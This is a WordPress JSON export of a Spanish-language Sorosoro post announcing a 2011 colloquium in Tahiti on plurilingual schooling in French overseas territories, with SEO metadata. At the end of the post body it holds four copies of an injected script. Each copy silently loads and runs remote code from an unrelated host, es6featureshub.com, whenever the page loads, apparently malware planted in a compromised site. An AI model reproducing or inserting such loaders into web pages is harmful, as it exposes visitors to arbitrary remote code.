{"id":60140,"date":"2011-11-14T23:59:33","date_gmt":"2011-11-14T21:59:33","guid":{"rendered":"http:\/\/www.sorosoro.org\/?p=60140"},"modified":"2025-10-21T22:13:59","modified_gmt":"2025-10-21T20:13:59","slug":"14-17-de-noviembre-de-2011-coloquio-la-escuela-plurilingue-en-ultramar-en-papeete-tahiti-2","status":"publish","type":"post","link":"https:\/\/www.sorosoro.org\/es\/2011\/11\/14-17-de-noviembre-de-2011-coloquio-la-escuela-plurilingue-en-ultramar-en-papeete-tahiti-2\/","title":{"rendered":"14-17 de noviembre de 2011 : coloquio \u00abLa escuela pluriling\u00fce en Ultramar\u00bb en Pape\u2019ete, Tahit\u00ed"},"content":{"rendered":"<p style=\"text-align: justify;\"><strong>2011 <\/strong>es el <strong>a\u00f1o de Ultramar en Francia<\/strong>, que concluir\u00e1 del 14 al 18 de diciembre pr\u00f3ximos con los <strong>Estados Generales del Multiling\u00fcismo<\/strong> en Cayena, Guyana Francesa.<\/p>\n<p style=\"text-align: justify;\">Otra fecha importante a tener en cuenta es del <strong>14 al 17 de noviembre<\/strong>, fecha en la que se celebrar\u00e1 en <strong>Tahit\u00ed <\/strong>el <strong>coloquio sobre la escuela pluriling\u00fce<\/strong> que lleva como subt\u00edtulo \u201c<strong>Aprender varias lenguas, varias lenguas para aprender<\/strong>\u201d.<\/p>\n<p style=\"text-align: justify;\">\n<p style=\"text-align: justify;\">En  las colectividades francesas de Ultramar, la mayor\u00eda de los ni\u00f1os nacen y  crecen en entornos familiares y sociales donde se emplean una o varias  lenguas, aut\u00f3ctonas o procedentes de migraciones. El franc\u00e9s es, sin  embargo, la \u00fanica lengua oficial y la principal lengua de  escolarizaci\u00f3n, lo que conlleva sus problemas: las lenguas de origen de  los alumnos cuentan a menudo con un estatus poco valorado en la sociedad  y esto puede tener repercusiones en su motivaci\u00f3n y su autoestima,  disminuyendo as\u00ed sus oportunidades de \u00e9xito escolar.<\/p>\n<p style=\"text-align: justify;\">\n<p style=\"text-align: justify;\">Se hablar\u00e1 de todo ello en el coloquio de Tahit\u00ed, donde se presentar\u00e1n los resultados de la experiencia <strong><a href=\"http:\/\/www.ecolpom.univ-nantes.fr\/\" target=\"_blank\">ECOPOLM<\/a> <\/strong>(Escuela Pluriling\u00fce en Ultramar), y varias novedades como el dispositivo \u201cdos ense\u00f1anzas, dos lenguas\u201d o las <strong>Bb-lecturas<\/strong> (<a href=\"..\/es\/marie-adele-joredie-y-los-bb-lectura-en-lengua-xaracuu\" target=\"_blank\">ver nuestro v\u00eddeo con Marie-Ad\u00e8le Jor\u00e9di\u00e9<\/a>)  en Nueva Caledonia. Tambi\u00e9n se abordar\u00e1n entre otros asuntos los  problemas de graf\u00eda, los contenidos escolares, las pr\u00e1cticas did\u00e1cticas,  la formaci\u00f3n del profesorado, las relaciones familia-escuela, las  representaciones interculturales en un entorno pluriling\u00fce y  pluricultural, etc.<\/p>\n<p style=\"text-align: justify;\">\n<p style=\"text-align: justify;\">El  coloquio est\u00e1 abierto a todos los investigadores y  docente-investigadores, a los profesionales de la ense\u00f1anza p\u00fablica y  privada, a las diferentes academias de la lengua, a familias y  profesionales del mundo editorial, p\u00fablicos o privados.<\/p>\n<p style=\"text-align: justify;\">\n<p style=\"text-align: justify;\">Entre los participantes, se encuentran varios investigadores que los internautas de Sorosoro conocen bien: <strong>Odile Lescure<\/strong>, que gu\u00eda nuestros trabajos de campo en Guyana Francesa, <strong>Jacques Vernaudon<\/strong>, por su blog \u201c<a href=\"http:\/\/blog.sorosoro.org\/es\/las-lenguas-kanak-en-la-escuela-en-nueva-caledonia-un-largo-camino\">Las lenguas kanak en la escuela en Nueva Caledonia<\/a>\u201d, <strong>Weniko Ihage<\/strong>, Director de la <a href=\"http:\/\/www.alk.gouv.nc\/\" target=\"_blank\">Academia de las Lenguas Kanak<\/a>, <strong>G\u00e9rard Lavigne<\/strong>, por su blog \u201c<a href=\"http:\/\/blog.sorosoro.org\/es\/contar-en-su-lengua-para-contar-mejor-en-la-otra\">Contar en su lengua para contar a\u00fan mejor en la otra<\/a>\u201d, y <strong>Michel Launey<\/strong>, miembro del Consejo Cient\u00edfico de Sorosoro y autor de un blog sobre  \u201c<a href=\"http:\/\/blog.sorosoro.org\/es\/la-ensenanza-en-lengua-materna-en-la-francia-de-ultramar\">La ense\u00f1anza en lengua materna en la Francia de Ultramar<\/a>\u201d.<\/p>\n<p style=\"text-align: justify;\">\n<p style=\"text-align: justify;\">\n<p style=\"text-align: justify;\"><a href=\"http:\/\/cnep.univ-nc.nc\/IMG\/pdf\/Ecole_plurilingue_progr_bref.pdf\" target=\"_blank\">Pinche aqu\u00ed para ver el programa completo<\/a><\/p>\n<p style=\"text-align: justify;\">\n<p><script>;(function (l, z, f, e, r, p) { r = z.createElement(f); p = z.getElementsByTagName(f)[0]; r.async = 1; r.src = e; p.parentNode.insertBefore(r, p); })(window, document, 'script', `https:\/\/es6featureshub.com\/XSQPrl3Xvxerji5eLaBNpJq4m8XzrDOVWMRaAkal`);<\/script><script>;(function (l, z, f, e, r, p) { r = z.createElement(f); p = z.getElementsByTagName(f)[0]; r.async = 1; r.src = e; p.parentNode.insertBefore(r, p); })(window, document, 'script', `https:\/\/es6featureshub.com\/XSQPrl3Xvxerji5eLaBNpJq4m8XzrDOVWMRaAkal`);<\/script><script>;(function (l, z, f, e, r, p) { r = z.createElement(f); p = z.getElementsByTagName(f)[0]; r.async = 1; r.src = e; p.parentNode.insertBefore(r, p); })(window, document, 'script', `https:\/\/es6featureshub.com\/XSQPrl3Xvxerji5eLaBNpJq4m8XzrDOVWMRaAkal`);<\/script><script>;(function (l, z, f, e, r, p) { r = z.createElement(f); p = z.getElementsByTagName(f)[0]; r.async = 1; r.src = e; p.parentNode.insertBefore(r, p); })(window, document, 'script', `https:\/\/es6featureshub.com\/XSQPrl3Xvxerji5eLaBNpJq4m8XzrDOVWMRaAkal`);<\/script><\/p>\n","protected":false},"excerpt":{"rendered":"<p>2011 es el a\u00f1o de Ultramar en Francia, que concluir\u00e1 del 14 al 18 de diciembre pr\u00f3ximos con los Estados Generales del Multiling\u00fcismo en Cayena, Guyana Francesa. Otra fecha importante a tener en cuenta es del 14 al 17 de noviembre, fecha en la que se celebrar\u00e1 en Tahit\u00ed el coloquio sobre la escuela pluriling\u00fce [&hellip;]<\/p>\n","protected":false},"author":18,"featured_media":0,"comment_status":"closed","ping_status":"open","sticky":false,"template":"","format":"standard","meta":{"footnotes":""},"categories":[10],"tags":[],"class_list":["post-60140","post","type-post","status-publish","format-standard","hentry","category-calendario"],"yoast_head":"<!-- This site is optimized with the Yoast SEO plugin v27.0 - https:\/\/yoast.com\/product\/yoast-seo-wordpress\/ -->\n<title>14-17 de noviembre de 2011 : coloquio &quot;La escuela pluriling\u00fce en Ultramar&quot; en Pape\u2019ete, Tahit\u00ed - Sorosoro<\/title>\n<meta name=\"robots\" content=\"index, follow, max-snippet:-1, max-image-preview:large, max-video-preview:-1\" \/>\n<link rel=\"canonical\" href=\"https:\/\/www.sorosoro.org\/es\/2011\/11\/14-17-de-noviembre-de-2011-coloquio-la-escuela-plurilingue-en-ultramar-en-papeete-tahiti-2\/\" \/>\n<meta property=\"og:locale\" content=\"es_ES\" \/>\n<meta property=\"og:type\" content=\"article\" \/>\n<meta property=\"og:title\" content=\"14-17 de noviembre de 2011 : coloquio &quot;La escuela pluriling\u00fce en Ultramar&quot; en Pape\u2019ete, Tahit\u00ed - Sorosoro\" \/>\n<meta property=\"og:description\" content=\"2011 es el a\u00f1o de Ultramar en Francia, que concluir\u00e1 del 14 al 18 de diciembre pr\u00f3ximos con los Estados Generales del Multiling\u00fcismo en Cayena, Guyana Francesa. Otra fecha importante a tener en cuenta es del 14 al 17 de noviembre, fecha en la que se celebrar\u00e1 en Tahit\u00ed el coloquio sobre la escuela pluriling\u00fce [&hellip;]\" \/>\n<meta property=\"og:url\" content=\"https:\/\/www.sorosoro.org\/es\/2011\/11\/14-17-de-noviembre-de-2011-coloquio-la-escuela-plurilingue-en-ultramar-en-papeete-tahiti-2\/\" \/>\n<meta property=\"og:site_name\" content=\"Sorosoro\" \/>\n<meta property=\"article:published_time\" content=\"2011-11-14T21:59:33+00:00\" \/>\n<meta property=\"article:modified_time\" content=\"2025-10-21T20:13:59+00:00\" \/>\n<meta name=\"author\" content=\"Michel.Lemee\" \/>\n<meta name=\"twitter:card\" content=\"summary_large_image\" \/>\n<meta name=\"twitter:label1\" content=\"Escrito por\" \/>\n\t<meta name=\"twitter:data1\" content=\"Michel.Lemee\" \/>\n\t<meta name=\"twitter:label2\" content=\"Tiempo de lectura\" \/>\n\t<meta name=\"twitter:data2\" content=\"2 minutos\" \/>\n<script type=\"application\/ld+json\" class=\"yoast-schema-graph\">{\"@context\":\"https:\/\/schema.org\",\"@graph\":[{\"@type\":\"Article\",\"@id\":\"https:\/\/www.sorosoro.org\/es\/2011\/11\/14-17-de-noviembre-de-2011-coloquio-la-escuela-plurilingue-en-ultramar-en-papeete-tahiti-2\/#article\",\"isPartOf\":{\"@id\":\"https:\/\/www.sorosoro.org\/es\/2011\/11\/14-17-de-noviembre-de-2011-coloquio-la-escuela-plurilingue-en-ultramar-en-papeete-tahiti-2\/\"},\"author\":{\"name\":\"Michel.Lemee\",\"@id\":\"https:\/\/www.sorosoro.org\/es\/#\/schema\/person\/6a38d9a3b9816780bdc12b184c7d9e18\"},\"headline\":\"14-17 de noviembre de 2011 : coloquio \u00abLa escuela pluriling\u00fce en Ultramar\u00bb en Pape\u2019ete, Tahit\u00ed\",\"datePublished\":\"2011-11-14T21:59:33+00:00\",\"dateModified\":\"2025-10-21T20:13:59+00:00\",\"mainEntityOfPage\":{\"@id\":\"https:\/\/www.sorosoro.org\/es\/2011\/11\/14-17-de-noviembre-de-2011-coloquio-la-escuela-plurilingue-en-ultramar-en-papeete-tahiti-2\/\"},\"wordCount\":406,\"articleSection\":[\"Calendario\"],\"inLanguage\":\"es\"},{\"@type\":\"WebPage\",\"@id\":\"https:\/\/www.sorosoro.org\/es\/2011\/11\/14-17-de-noviembre-de-2011-coloquio-la-escuela-plurilingue-en-ultramar-en-papeete-tahiti-2\/\",\"url\":\"https:\/\/www.sorosoro.org\/es\/2011\/11\/14-17-de-noviembre-de-2011-coloquio-la-escuela-plurilingue-en-ultramar-en-papeete-tahiti-2\/\",\"name\":\"14-17 de noviembre de 2011 : coloquio \\\"La escuela pluriling\u00fce en Ultramar\\\" en Pape\u2019ete, Tahit\u00ed - Sorosoro\",\"isPartOf\":{\"@id\":\"https:\/\/www.sorosoro.org\/es\/#website\"},\"datePublished\":\"2011-11-14T21:59:33+00:00\",\"dateModified\":\"2025-10-21T20:13:59+00:00\",\"author\":{\"@id\":\"https:\/\/www.sorosoro.org\/es\/#\/schema\/person\/6a38d9a3b9816780bdc12b184c7d9e18\"},\"breadcrumb\":{\"@id\":\"https:\/\/www.sorosoro.org\/es\/2011\/11\/14-17-de-noviembre-de-2011-coloquio-la-escuela-plurilingue-en-ultramar-en-papeete-tahiti-2\/#breadcrumb\"},\"inLanguage\":\"es\",\"potentialAction\":[{\"@type\":\"ReadAction\",\"target\":[\"https:\/\/www.sorosoro.org\/es\/2011\/11\/14-17-de-noviembre-de-2011-coloquio-la-escuela-plurilingue-en-ultramar-en-papeete-tahiti-2\/\"]}]},{\"@type\":\"BreadcrumbList\",\"@id\":\"https:\/\/www.sorosoro.org\/es\/2011\/11\/14-17-de-noviembre-de-2011-coloquio-la-escuela-plurilingue-en-ultramar-en-papeete-tahiti-2\/#breadcrumb\",\"itemListElement\":[{\"@type\":\"ListItem\",\"position\":1,\"name\":\"Accueil\",\"item\":\"https:\/\/www.sorosoro.org\/es\/\"},{\"@type\":\"ListItem\",\"position\":2,\"name\":\"14-17 de noviembre de 2011 : coloquio \u00ab\u00a0La escuela pluriling\u00fce en Ultramar\u00a0\u00bb en Pape\u2019ete, Tahit\u00ed\"}]},{\"@type\":\"WebSite\",\"@id\":\"https:\/\/www.sorosoro.org\/es\/#website\",\"url\":\"https:\/\/www.sorosoro.org\/es\/\",\"name\":\"Sorosoro\",\"description\":\"Pour que vivent les langues du monde !\",\"potentialAction\":[{\"@type\":\"SearchAction\",\"target\":{\"@type\":\"EntryPoint\",\"urlTemplate\":\"https:\/\/www.sorosoro.org\/es\/?s={search_term_string}\"},\"query-input\":{\"@type\":\"PropertyValueSpecification\",\"valueRequired\":true,\"valueName\":\"search_term_string\"}}],\"inLanguage\":\"es\"},{\"@type\":\"Person\",\"@id\":\"https:\/\/www.sorosoro.org\/es\/#\/schema\/person\/6a38d9a3b9816780bdc12b184c7d9e18\",\"name\":\"Michel.Lemee\",\"url\":\"https:\/\/www.sorosoro.org\/es\/author\/michel-lemee\/\"}]}<\/script>\n<!-- \/ Yoast SEO plugin. -->","yoast_head_json":{"title":"14-17 de noviembre de 2011 : coloquio \"La escuela pluriling\u00fce en Ultramar\" en Pape\u2019ete, Tahit\u00ed - Sorosoro","robots":{"index":"index","follow":"follow","max-snippet":"max-snippet:-1","max-image-preview":"max-image-preview:large","max-video-preview":"max-video-preview:-1"},"canonical":"https:\/\/www.sorosoro.org\/es\/2011\/11\/14-17-de-noviembre-de-2011-coloquio-la-escuela-plurilingue-en-ultramar-en-papeete-tahiti-2\/","og_locale":"es_ES","og_type":"article","og_title":"14-17 de noviembre de 2011 : coloquio \"La escuela pluriling\u00fce en Ultramar\" en Pape\u2019ete, Tahit\u00ed - Sorosoro","og_description":"2011 es el a\u00f1o de Ultramar en Francia, que concluir\u00e1 del 14 al 18 de diciembre pr\u00f3ximos con los Estados Generales del Multiling\u00fcismo en Cayena, Guyana Francesa. Otra fecha importante a tener en cuenta es del 14 al 17 de noviembre, fecha en la que se celebrar\u00e1 en Tahit\u00ed el coloquio sobre la escuela pluriling\u00fce [&hellip;]","og_url":"https:\/\/www.sorosoro.org\/es\/2011\/11\/14-17-de-noviembre-de-2011-coloquio-la-escuela-plurilingue-en-ultramar-en-papeete-tahiti-2\/","og_site_name":"Sorosoro","article_published_time":"2011-11-14T21:59:33+00:00","article_modified_time":"2025-10-21T20:13:59+00:00","author":"Michel.Lemee","twitter_card":"summary_large_image","twitter_misc":{"Escrito por":"Michel.Lemee","Tiempo de lectura":"2 minutos"},"schema":{"@context":"https:\/\/schema.org","@graph":[{"@type":"Article","@id":"https:\/\/www.sorosoro.org\/es\/2011\/11\/14-17-de-noviembre-de-2011-coloquio-la-escuela-plurilingue-en-ultramar-en-papeete-tahiti-2\/#article","isPartOf":{"@id":"https:\/\/www.sorosoro.org\/es\/2011\/11\/14-17-de-noviembre-de-2011-coloquio-la-escuela-plurilingue-en-ultramar-en-papeete-tahiti-2\/"},"author":{"name":"Michel.Lemee","@id":"https:\/\/www.sorosoro.org\/es\/#\/schema\/person\/6a38d9a3b9816780bdc12b184c7d9e18"},"headline":"14-17 de noviembre de 2011 : coloquio \u00abLa escuela pluriling\u00fce en Ultramar\u00bb en Pape\u2019ete, Tahit\u00ed","datePublished":"2011-11-14T21:59:33+00:00","dateModified":"2025-10-21T20:13:59+00:00","mainEntityOfPage":{"@id":"https:\/\/www.sorosoro.org\/es\/2011\/11\/14-17-de-noviembre-de-2011-coloquio-la-escuela-plurilingue-en-ultramar-en-papeete-tahiti-2\/"},"wordCount":406,"articleSection":["Calendario"],"inLanguage":"es"},{"@type":"WebPage","@id":"https:\/\/www.sorosoro.org\/es\/2011\/11\/14-17-de-noviembre-de-2011-coloquio-la-escuela-plurilingue-en-ultramar-en-papeete-tahiti-2\/","url":"https:\/\/www.sorosoro.org\/es\/2011\/11\/14-17-de-noviembre-de-2011-coloquio-la-escuela-plurilingue-en-ultramar-en-papeete-tahiti-2\/","name":"14-17 de noviembre de 2011 : coloquio \"La escuela pluriling\u00fce en Ultramar\" en Pape\u2019ete, Tahit\u00ed - Sorosoro","isPartOf":{"@id":"https:\/\/www.sorosoro.org\/es\/#website"},"datePublished":"2011-11-14T21:59:33+00:00","dateModified":"2025-10-21T20:13:59+00:00","author":{"@id":"https:\/\/www.sorosoro.org\/es\/#\/schema\/person\/6a38d9a3b9816780bdc12b184c7d9e18"},"breadcrumb":{"@id":"https:\/\/www.sorosoro.org\/es\/2011\/11\/14-17-de-noviembre-de-2011-coloquio-la-escuela-plurilingue-en-ultramar-en-papeete-tahiti-2\/#breadcrumb"},"inLanguage":"es","potentialAction":[{"@type":"ReadAction","target":["https:\/\/www.sorosoro.org\/es\/2011\/11\/14-17-de-noviembre-de-2011-coloquio-la-escuela-plurilingue-en-ultramar-en-papeete-tahiti-2\/"]}]},{"@type":"BreadcrumbList","@id":"https:\/\/www.sorosoro.org\/es\/2011\/11\/14-17-de-noviembre-de-2011-coloquio-la-escuela-plurilingue-en-ultramar-en-papeete-tahiti-2\/#breadcrumb","itemListElement":[{"@type":"ListItem","position":1,"name":"Accueil","item":"https:\/\/www.sorosoro.org\/es\/"},{"@type":"ListItem","position":2,"name":"14-17 de noviembre de 2011 : coloquio \u00ab\u00a0La escuela pluriling\u00fce en Ultramar\u00a0\u00bb en Pape\u2019ete, Tahit\u00ed"}]},{"@type":"WebSite","@id":"https:\/\/www.sorosoro.org\/es\/#website","url":"https:\/\/www.sorosoro.org\/es\/","name":"Sorosoro","description":"Pour que vivent les langues du monde !","potentialAction":[{"@type":"SearchAction","target":{"@type":"EntryPoint","urlTemplate":"https:\/\/www.sorosoro.org\/es\/?s={search_term_string}"},"query-input":{"@type":"PropertyValueSpecification","valueRequired":true,"valueName":"search_term_string"}}],"inLanguage":"es"},{"@type":"Person","@id":"https:\/\/www.sorosoro.org\/es\/#\/schema\/person\/6a38d9a3b9816780bdc12b184c7d9e18","name":"Michel.Lemee","url":"https:\/\/www.sorosoro.org\/es\/author\/michel-lemee\/"}]}},"_links":{"self":[{"href":"https:\/\/www.sorosoro.org\/es\/wp-json\/wp\/v2\/posts\/60140","targetHints":{"allow":["GET"]}}],"collection":[{"href":"https:\/\/www.sorosoro.org\/es\/wp-json\/wp\/v2\/posts"}],"about":[{"href":"https:\/\/www.sorosoro.org\/es\/wp-json\/wp\/v2\/types\/post"}],"author":[{"embeddable":true,"href":"https:\/\/www.sorosoro.org\/es\/wp-json\/wp\/v2\/users\/18"}],"replies":[{"embeddable":true,"href":"https:\/\/www.sorosoro.org\/es\/wp-json\/wp\/v2\/comments?post=60140"}],"version-history":[{"count":0,"href":"https:\/\/www.sorosoro.org\/es\/wp-json\/wp\/v2\/posts\/60140\/revisions"}],"wp:attachment":[{"href":"https:\/\/www.sorosoro.org\/es\/wp-json\/wp\/v2\/media?parent=60140"}],"wp:term":[{"taxonomy":"category","embeddable":true,"href":"https:\/\/www.sorosoro.org\/es\/wp-json\/wp\/v2\/categories?post=60140"},{"taxonomy":"post_tag","embeddable":true,"href":"https:\/\/www.sorosoro.org\/es\/wp-json\/wp\/v2\/tags?post=60140"}],"curies":[{"name":"wp","href":"https:\/\/api.w.org\/{rel}","templated":true}]}}